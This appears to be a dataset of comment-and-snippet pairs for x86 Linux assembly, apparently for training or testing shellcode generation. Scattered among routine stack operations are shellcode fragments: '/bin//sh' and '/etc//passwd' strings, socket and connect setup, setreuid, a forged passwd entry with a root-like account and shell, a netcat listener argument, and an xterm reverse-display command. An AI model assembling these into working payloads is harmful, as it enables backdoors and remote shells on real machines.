; restore the top of the stack into the ecx register then decrement the ecx register and jump to the l3 label if the contents of the ecx register is not zero else make the system call exit
pop ecx
loop l3
mov eax, 1
; pick up ecx content from the stack and put it in ebp register
pop ecx
mov ebp, ecx
; pick up ecx register from the stak and put its content into edi register
pop ecx
mov edi, ecx
; pick up ecx and ebx from stack
pop ecx
pop ebx
; make edi register point to xor_value
pop edi
; pick up edi content from the stack
pop edi
; pick up edi content from stack
pop edi
; pop the top element of the stack into edi
pop edi
; restore the top of the stack into the edi register
pop edi
; pop edx from stack
pop edx
; pick up edx content from stack
pop edx
; save fd
pop edx
; restore edx from the value we pushed onto the stack at the start
pop edx
; restore the top of the stack into edx register
pop edx
; restore the top of the stack into the edx register
pop edx
; pop the top of the stack into the edx register
pop edx
; pop the value on the stack back into edx
pop edx
; pick up edx, esi, edi x2 from the stack
pop edx
pop esi
pop edi
pop edi
; extract esi from the stack
pop esi
; transfer word at the current stack top to esi
pop esi
; pick up esi register content from the stack
pop esi
; pick up esi content fro the stack
pop esi
; pick up esi content from stack
pop esi
; pick up esi from the stack
pop esi
; pick up esi register from the stack
pop esi
; pick up esi register that contains the string in db
pop esi
; piack up esi content from the stack
pop esi
; pop the shellcode address from esi register
pop esi
; store encoded_shellcode pointer in esi
pop esi
; pop stack(1) into esi
pop esi
; address of string -> esi
pop esi
; pop the value on the top of the stack into esi
pop esi
; pop esi content
pop esi
; save shellcode into esi
pop esi
; save shellcode address into esi register
pop esi
; restore esi from the stack
pop esi
; restore esi from the value we pushed onto the stack at the start
pop esi
; restore the top of the stack into esi register
pop esi
; restore the top of the stack into the esi register
pop esi
; pop the top of the stack into the esi register
pop esi
; pop the value on the stack back into esi
pop esi
; get the address of shellcode
pop esi
; load address of the encoded shellcode into esi
pop esi
; pop the shellcode into esi
pop esi
; pop the address of the encoded shellcode into esi
pop esi
; shellcode address in esi
pop esi
; shellcode on esi
pop esi
; store the address of the shellcode in esi
pop esi
; store the pointer to the encoded shellcode in esi
pop esi
; store the shellcode in esi
pop esi
; store the shellcode pointer to esi
pop esi
; save the shellcode in the esi register
pop esi
; load the shellcode in esi
pop esi
; encoded shellcode in esi
pop esi
; save the address of the shellcode in esi
pop esi
; pop the address of the shellcode in the esi register
pop esi
; store the pointer to the shellcode into esi
pop esi
; store the shellcode in the esi register and copy it into ax
pop esi
mov ax, [esi]
; save the encoded shellcode in esi and move it into bx
pop esi
mov bx, [esi]
; store the shellcode in esi and move it into cx
pop esi
mov cx, [esi]
; point esi to the shellcode and save it into cx
pop esi
mov cx, [esi]
; pop the shellcode in esi and save it into dx
pop esi
mov dx, [esi]
; transfer word at the current stack top to esi and then push esi on the stack
pop esi
push esi
; restore the top of the stack into the esp register
pop esp
; restore the top of the stack into the si register
pop si
; extract the data for the 8 general-purpose 32-bit registers from the stack
popad
; move doublewords from the stack into the 32 bit registers
popad
; move doublewords from the stack into the general purpose registers
popad
; pop doublewords from the stack into the 32 bit registers
popad
; pop doublewords from the stack into the general purpose registers
popad
; define port array of 5 bytes and initialize it to 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77
port: db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77
; define port as an array of bytes and initialize it to 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77
port: db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77
; define _ prepare label
prepare:
; declare the prepare label
prepare:
; define _ priv_setgid label
priv_setgid:
; declare the priv_setgid label
priv_setgid:
; define :_priv_setuid label
priv_setuid:
; declare the priv_setuid label
priv_setuid:
; define prcess_shellcode label
process_shellcode:
; declare the process_shellcode label
process_shellcode:
; subtract 13 from "shellcode"
psubb mm3, mm2
; push ip address as _ip on stack
push _ip
; push _ip onto the stack
push _ip
; push '//pa' onto the stack
push '//pa'
; push '//sh' onto the stack
push '//sh'
; push '/bin' onto the stack
push '/bin'
; push '/etc' onto the stack
push '/etc'
; push 'sswd' onto the stack
push 'sswd'
; push Ô/etc//passwdÕ on stack
push "sswd"
push "//pa"
push "/etc"
; push the 4 bytes at address tmp onto stack
push [tmp]
; push the 4 bytes at address var onto the stack
push [var]
; push the 4 bytes at address var2 onto the stack
push [var2]
; push 0bh onto the stack
push 0bh
; push the value 0x0 to the stack
push 0x0
; push 0x0 onto the stack
push 0x0
; push the value 0x0, ecx and ebx contents on stack
push 0x0
push ecx
push ebx
; load Ô/bin/cat/etc//paswd\0Õ into ex register
push 0x0
push ecx
push ebx
mov ecx,esp
; save /bin/sh in the first free 32bit register
push 0x0068732f
push 0x6e69622f
mov ebx, esp
; save the address 127.1.1.1, the value on 32bit 4444 and af_inet represented in 32bit on ecx register
push 0x0101017f
push word 0x5c11
push word 0x02
mov ecx, esp
; push ip adress 0x04020a0a
push 0x04020a0a
; push 0x04020a0a onto the stack
push 0x04020a0a
; push 0x0a206873 onto the stack
push 0x0a206873
; load the string sshd:$1$.ex412qg$mdsbhdprjsx39hek0zlju0:1111:1111:/tmp:/bin/sh on ebp register
push 0x0a206873
push 0x2f6e6962
push 0x2f3a706d
push 0x742f3a31
push 0x3131313a
push 0x31313131
push 0x3a30754a
push 0x4c5a304b
push 0x45683933
push 0x78534a52
push 0x50446862
push 0x73644d24
push 0x67513231
push 0x3458652e
push 0x2431243a
push 0x64687373
mov ebp, esp
; push 0x0a3a7964 onto the stack
push 0x0a3a7964
; load Ôudprdy:Õ into edx register
push 0x0a3a7964
push 0x72706475
mov edx, esp
; push the value 0x0a4c4c41 onto the stack
push 0x0a4c4c41
; push 0x0a4c4c41 onto the stack
push 0x0a4c4c41
; insert the hexadecimal value 11 on the stack and save it in the first free 32bit register
push 0x0b
pop eax
; push hexadecimal value 0x1 on stack
push 0x1
; push socket_type = sock_stream, 1, on stack
push 0x1
; push socket_type = sock_stream = 1 on stack
push 0x1
; push 1 onto the stack for sock_stream
push 0x1
; set the sol_socket onto the stack
push 0x1
; push the value 0x1 onto the stack
push 0x1
; push 0x1 to the stack
push 0x1
; push 0x1 onto the stack
push 0x1
; load exit syscall number into eac register
push 0x1
pop eax
; load exit syscall number into eax register
push 0x1
pop eax
; load sys_socket = 1 intp ebx
push 0x1
pop ebx
; push 16, ecx and esi on the stack
push 0x1
push ecx
push esi
; push the size of v4lhost on stack
push 0x10
; push lenght of adress 0x10 on stacik
push 0x10
; push addrlen = 0x10 on stack
push 0x10
; addr leght 16
push 0x10
; define the size of inet_address = 16 (hex)
push 0x10
; push on stack the size of sock_ad = 16 (hex)
push 0x10
; push 0x10 onto the stack
push 0x10
; push 0x10 to the stack
push 0x10
; push the 0x10 onto the stack
push 0x10
; push the value 0x10 onto the stack
push 0x10
; push the hexadecimal value 10 and ecx content on the stack.
push 0x10
push ecx
; push the hexadecimal value 10, ecx content and edi content on the stack. then load the stack pointer into ecx register.
push 0x10
push ecx
push edi
mov ecx,esp
; push the sizeof(struct sockaddr_in), &serv_addr and the sockfd on stack
push 0x10
push ecx
push edx
; push the value 0x10, ecx content and esi content on stack
push 0x10
push ecx
push esi
; push hexadecimal value 0x10, ecx and esi contents on stack
push 0x10
push ecx
push esi
; save 16, ecx contents and the saved socket descriptor (in esi) on ecx
push 0x10
push ecx
push esi
mov ecx, esp
; save the hexadecimal value 16, ecx contents and esi contents in ecx
push 0x10
push ecx
push esi
mov ecx, esp
; push the hexadecimal value 0x101017f of ip adress on stack
push 0x101017f
; push ip adreess as hexadecimal value 0x101017f on stack
push 0x101017f
; load hexadecimal value 0x14 on edx register
push 0x14
; load hexadecimal value 0x14 on edx register
push 0x14
pop edx
; set the sockaddr size, 0x16, onto the stack
push 0x16
; push the value 0x16 onto the stack
push 0x16
; push the value 0x1a onto the stack
push 0x1a
; push the value 0x1a to the stack
push 0x1a
; push the size of struct on stack
push 0x1c
; push the value 0x1c onto the stack
push 0x1c
; push the value 0x1c to the stack
push 0x1c
; push hexadecimal value 0x1c, ecx and esi contents on stack
push 0x1c
push ecx
push esi
; load hexadecimal value 0x1ff9090 into ecx then shift right its bits 0x10 times
push 0x1ff9090
pop ecx
; load hexadecimal value 0x1ff9090 into ecx
push 0x1ff9090
pop ecx
; push the value 2 on the stack
push 0x2
; push af_inet = 2 on stack
push 0x2
; push 2 on stack
push 0x2
; value 0x2 is pushed onto stack (af_inet=2)
push 0x2
; push 2 onto the stack for af_inet
push 0x2
; set the so_reuseaddr onto the stack
push 0x2
; push 0x2 onto the stack
push 0x2
; push 0x2 to the stack
push 0x2
; push the 0x2 onto the stack
push 0x2
; load 0x2 into ecx register and call kernel
push 0x2
mov ecx, esp
int 0x80
; load the value 0x2 into ecx register
push 0x2
pop ecx
; push the size of no=2, the pointer to no, the argument ipv6_v6only=26 and the argument ipproto=ipv6 = 41 on stack
push 0x2
push edx
push 0x1a
push 0x29
; push the 0x203a4457 onto the stack
push 0x203a4457
; push 0x203a4457 onto the stack
push 0x203a4457
; push 0x204c4c41 onto the stack
push 0x204c4c41
; push the 0x204c4c41 onto the stack
push 0x204c4c41
; push 0x2431243a onto the stack
push 0x2431243a
; push the value 0x29 to the stack
push 0x29
; push 0x29 onto the stack
push 0x29
; push 0x2e312e31 onto the stack
push 0x2e312e31
; push the value 0x2e312e31 to the stack
push 0x2e312e31
; push the value 0x2e323931 onto the stack
push 0x2e323931
; push 0x2e323931 to the stack
push 0x2e323931
; push 0x2e373231 to the stack
push 0x2e373231
; push 0x2e373231 onto the stack
push 0x2e373231
; push the value 0x2e383631 onto the stack
push 0x2e383631
; push 0x2e383631 to the stack
push 0x2e383631
; push '////' on stack
push 0x2f2f2f2f
; push 0x2f2f2f2f onto the stack
push 0x2f2f2f2f
; push 0x2f2f2f2f to the stack
push 0x2f2f2f2f
; push the 0x2f2f2f2f onto the stack
push 0x2f2f2f2f
; push the value 0x2f2f2f2f onto the stack and point eax to the stack register
push 0x2f2f2f2f
mov eax, esp
; push the value 0x2f2f2f2f onto the stack and point ebx to the stack register
push 0x2f2f2f2f
mov ebx, esp
; push the value 0x2f2f2f2f onto the stack and point ecx to the stack register
push 0x2f2f2f2f
mov ecx, esp
; push the value 0x2f2f2f2f onto the stack and point edi to the stack register
push 0x2f2f2f2f
mov edi, esp
; push the value 0x2f2f2f2f onto the stack and point edx to the stack register
push 0x2f2f2f2f
mov edx, esp
; push the value 0x2f2f2f2f onto the stack and point esi to the stack register
push 0x2f2f2f2f
mov esi, esp
; push the 0x2f2f2f6e onto the stack
push 0x2f2f2f6e
; push 0x2f3a706d onto the stack
push 0x2f3a706d
; push 0x2f3a746f onto the stack
push 0x2f3a746f
; push 0x2f656c2d onto the stack
push 0x2f656c2d
; push the 0x2f656c2d onto the stack
push 0x2f656c2d
; push '/nib' on stack
push 0x2f6e6962
; push 0x2f6e6962 to the stack
push 0x2f6e6962
; push 0x2f6e6962 onto the stack
push 0x2f6e6962
; push hexadecimal value 0x2faa2faa on stack
push 0x2faa2faa
; push hexadecimal value 0x2faa68aa on stack
push 0x2faa68aa
; load the command sys_connect = 3 into ebx register
push 0x3
pop ebx
; push the value 0x30 onto the stack
push 0x30
; push 48 on the stack and put this value in eax, taking it from the stack
push 0x30
pop eax
; push 0x30313a31 to the stack
push 0x30313a31
; push 0x30313a31 onto the stack
push 0x30313a31
; push on stack the listening ip 127.1.1.1:10 and save it into esi register then push null and Ô- displayÕ command and save it in edi register. subsequently push null and the string Ô///usr/bin/xtermÕ and save it into ebx register. in the end push eax, esi, edi and ebx on sta stack.
push 0x30313a31
push 0x2e312e31
push 0x2e373231
mov esi, esp
push eax
push 0x79616c70
push 0x7369642d
mov edi,esp
push eax
push 0x6d726574
push 0x782f6e69
push 0x622f7273
push 0x752f2f2f
mov ebx,esp
push eax
push esi
push edi
push ebx
; push 0x30317974 onto the stack
push 0x30317974
; push the 0x30317974 onto the stack
push 0x30317974
; push 0x31313131 onto the stack
push 0x31313131
; push 0x3131313a onto the stack
push 0x3131313a
; push 0x31373737 onto the stack
push 0x31373737
; push the 0x31373737 onto the stack
push 0x31373737
; push 0x3170762d onto the stack
push 0x3170762d
; push the value 0x3170762d to the stack
push 0x3170762d
; push the 0x3170762d onto the stack
push 0x3170762d
; push 0x32322e32 onto the stack
push 0x32322e32
; push 0x32322e32 to the stack
push 0x32322e32
; push 0x3458652e onto the stack
push 0x3458652e
; push Ô-vp13337Õ on stack
push 0x37333333
push 0x3170762d
; push 0x37373333 to the stack
push 0x37373333
; push the 0x37373333 onto the stack
push 0x37373333
; push 0x37373333 onto the stack
push 0x37373333
; push 0x3a303a3a onto the stack
push 0x3a303a3a
; push Ôr00t::0:Õ on stack
push 0x3a303a3a
push 0x74303072
; push 0x3a30754a onto the stack
push 0x3a30754a
; push :::0 and esi content on stack
push 0x3a3a3a30
push esi
; push the value 0x3d4c4c41 onto the stack
push 0x3d4c4c41
; push 0x3d4c4c41 onto the stack
push 0x3d4c4c41
; push 0x3e0a7964 onto the stack
push 0x3e0a7964
; load __nr_dup2 into al register
push 0x3f
; load __nr_dup2 into eax register
push 0x3f
pop eax
; copy write syscall number in eax register
push 0x4
; push the sizeof = 0x4 onto the stack
push 0x4
; push 0x4 onto the stack
push 0x4
; push the value 0x4 onto the stack
push 0x4
; copy write syscall number in eax register
push 0x4
pop eax
; load write syscall number into eax register
push 0x4
pop eax
; load __nr_close into eax register
push 0x4
pop eax
add eax,0x2
; push 0x45683933 onto the stack
push 0x45683933
; push 0x46 onto the stack
push 0x46
; execute __nr_setreuid = 0x46 syscall
push 0x46
pop eax
int 0x80
; push 0x4c4c4128 onto the stack
push 0x4c4c4128
; push the value 0x4c4c4128 onto the stack
push 0x4c4c4128
; push 0x4c5a304b onto the stack
push 0x4c5a304b
; push the value 0x4f4e2029 onto the stack
push 0x4f4e2029
; push 0x4f4e2029 onto the stack
push 0x4f4e2029
; push hexadecimal value 0x5 on stack
push 0x5
; push 0x5 onto the stack
push 0x5
; push the 0x5 onto the stack
push 0x5